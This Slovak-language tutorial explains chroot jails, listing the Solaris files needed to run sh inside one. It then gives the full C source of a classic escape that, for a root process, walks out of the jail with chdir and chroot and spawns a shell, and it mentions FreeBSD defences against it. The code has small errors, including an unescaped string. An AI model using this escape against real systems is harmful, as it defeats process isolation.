zmena rootovskeho adresara sposobi to, ze vsetky programy, ktore budu v tomto novom zivotnom prostredi pobehovat budu potrebovat kadejake subory, kniznice a programy. chroot() prostredie som konfiguroval len par-krat v zivote, a nikdy sa mi nepodarilo dopracovat sa k nejakemu zmysluplnemu zoznamu fajlov a kniznic, ktore potrebujeme do novovytvoreneho chroot() sveta prekopirovat. v kazdom pripade to zavisi od presneho typu operacneho systemu a potom od toho co tam potrebujeme bezat, vsakze. na vytvorenie jednoducheho chroot() sveta, v ktorom sa da spustit sh som na solarise potreboval:

   /bin/sh
   /usr/ld.so.1
   /dev/zero
   /usr/lib/libc.so.1
   /usr/lib/libdl.so.1
   /usr/lib/libw.so.1
   /usr/lib/libintl.so.1
   /usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1

kedy je dobre pouzit chroot() prostredie ? definitivne by som ho doporucil na sietove sluzby, ktore su notoricky zname ako problemove z hladiska security, ako napriklad bind. nie je vsak odveci spravit chroot aj na nieco vacsie typu httpd, alebo vytvorit chroot prostredie na uzivatelske konta.

rozbijame chroot()

aj ked je chroot() slusne zabezpeceny, je mozne sa programovo vymamit z jeho klietky. pokial aplikaciu spustime s uid 0 pravami, dokazeme sa dostan von z chroot prostredia. potrebujeme k tomu nasledovne veci:

• prekladac C alebo interpreter perlu
• bezpecnostnu dieru na ziskanie root-ovskych prav

predstavme si situaciu, ze chceme hacknut www server, ktory pouziva chroot prostredie na spustanie kadejakych "nebezpecnych" uzivatelskych CGI skriptov. mozeme predpokladat, ze v takomto prostredi mame pristup k Perl binarke. potom je ziskanie root prava na celom systeme otazkou ziskania rootovskych prav cez bezpecnostnu dieru v chrootovom prostredi webovskeho servera. toto samozrejme nie je predmetom tohoto clanku, ale utocnik moze ziskat uid 0 cez dieru v aplikacii, ktora bezi setuid-root. v dobre nakonfigurovanom chroot prostredi by samozrejme takychto aplikacii malo byt minimalne, alebo najlepsie ziadne. treba ale poznamenat, ze udrziavat si taketo bezpecne chroot prostredie nie je lahka vec, napriklad bezne patche, ktore nam fixuju nase systemove binarky nic netusia o chroot prostredi. je jednoznacne prioritou kontrolovat ci sa v chroot prostredi nevyskytuju setuid binarky.

ak sa chceme prebit von z chroot prostredia, program musi vykonat nasledovne veci:

• vytvorit temporary adresar v momentalnom pracovnom adresari
• otvorit momentalny pracovny adresar
• zmenit rootovsky adresar procesu, ktory sme nabehli na nas temporary adresar pomocou chroot()
• pouzit fchdir() s file descriptorom otvoreneho adresara a tak presunut nas pracovny adresar von z chroot() prostredia
• spravit chdir("..") niekolko-krat za sebou a zmenit tak pracovny adresar na skutocny root-ovsky adresar ("/")
• zmenit root-ovsky adresar procesu na momentalny pracovny adresar, cize skutocny root-ovsky adresar pomocou chroot(".")

 #include <stdio.h>  
 #include <errno.h>  
 #include <fcntl.h>  
 #include <string.h>  
 #include <unistd.h>  
 #include <sys/stat.h>  
 #include <sys/types.h>  
    
 /*  
 ** NEED_FCHDIR by sa malo nastavit na hodnotu 1 ak chroot() na tvojom 
 ** systeme meni pracovny adresar volajuceho procesu na ten isty adresar,
 ** z ktoreho bol ten proces chroot()-ovany.
 ** 
 ** napriklad na Solarise 7 a nizsom to netreba nastavovat..
 **
 */  

 #define NEED_FCHDIR 0     
 #define TEMP_DIR "vodnybyvol"  
    
 /* ideme von z chroot() prostredia */  
    
 int main() {  
   int x;            /* posuvame sa o adresara vyssie */  
   int done=0;       /* sme hotovi ? */  
 #ifdef NEED_FCHDIR  
   int dir_fd;       /* file descriptor na adresar */  
 #endif  
   struct stat sbuf; /* stat() buffer */  
    
 /*  
 ** najprv vytvorime temporary adresar ak este neexistuje  
 */  
   if (stat(TEMP_DIR,&sbuf)<0) {  
     if (errno==ENOENT) {  
       if (mkdir(TEMP_DIR,0755)<0) {  
         fprintf(stderr,"nedal sa vytvorit %s - %s\n", TEMP_DIR,  
                 strerror(errno));  
         exit(1);  
       }  
     } else {  
       fprintf(stderr,"problem pri stat %s - %s\n", TEMP_DIR,  
               strerror(errno));  
       exit(1);  
     }  
   } else if (!S_ISDIR(sbuf.st_mode)) {  
     fprintf(stderr,"chyba - %s nie je adresar!\n",TEMP_DIR);  
     exit(1);  
   }  
    
 #ifdef NEED_FCHDIR  
 /*  
 ** terazky si otvorime momentalny pracovny adresar
 */  
   if ((dir_fd=open(".",O_RDONLY))<0) {  
     fprintf(stderr,"problem pri otvarani "." - %s\n",  
             strerror(errno));  
     exit(1);  
   }  
 #endif  
    
 /*  
 ** a teraz chroot() do temporary adresara 
 */  
   if (chroot(TEMP_DIR)<0) {  
     fprintf(stderr,"neda sa mi spravit chroot do %s - %s\n",TEMP_DIR,  
             strerror(errno));  
     exit(1);  
   }  
    
 #ifdef NEED_FCHDIR  
 /*  
 ** ciastocne sa vymamime z chrootu pomocou fchdir()
 */  
   if (fchdir(dir_fd)<0) {  
     fprintf(stderr,"Failed to fchdir - %s\n",  
             strerror(errno));  
     exit(1);  
   }  
   close(dir_fd);  
 #endif  
    
 /*  
 ** kompletne sa vymamime z chroot klietky rekurzivnym pochodovanim 
 ** po adresarovej strukture a vzdy spravime chroot na momentalny pracovny 
 ** adresar (ktory na zaver bude skutocny "/"). takze vela krat spravime 
 ** chdir("..") popazi vela krat (1024 krat pre stastie :). ak sa dostaneme 
 ** do skutocneho rootovskeho adresara pred tym ako sa skonci loop nevadi to, 
 ** lebo .. znamena to iste ako . ked si v rootovskom adresari
 ** 
 ** finalny odchod na parky z chroot prostredia spravime prikazom chroot(".") 
 ** co by uz terazky mal byt naozajstny rootovsky adresar
 */  
   for(x=0;x<1024;x++) {  
     chdir("..");  
   }  
   chroot(".");  
    
 /*  
 ** kedze sme vonka, spustime si shell  
 */  
   if (execl("/bin/sh","-i",NULL)<0) {  
     fprintf(stderr,"neda sa spustit shell - %s\n",strerror(errno));  
     exit(1);  
   }  
 }

tento druh utoku bol tiez pouzity aj pri exploite proti wu-ftpd FTP daemonovi, ktory bol postnuty na BugTraq 25/3/1999.. da sa najst na http://www.securityfocus.com/archive/1/12962

na zaver by sa asi malo spomenut, ze nie vsetky odrody unixu sa daju takto napadnut. freebsd 4.x a vyssie maju lepsi chroot() systemovy call. v pripade ak ma process file descriptory v momentalnom directory, freebsd odmietne spravit chroot. blizsie info o tomto sa da najst v manualovej stranke chroot() na free bsd 4.x, pripadne na manualovej stranke k jail(), ktory pouziva chroot() a dokaze pod freebsd dalej limitovat procesy.

preklad + dodatok by pajkus..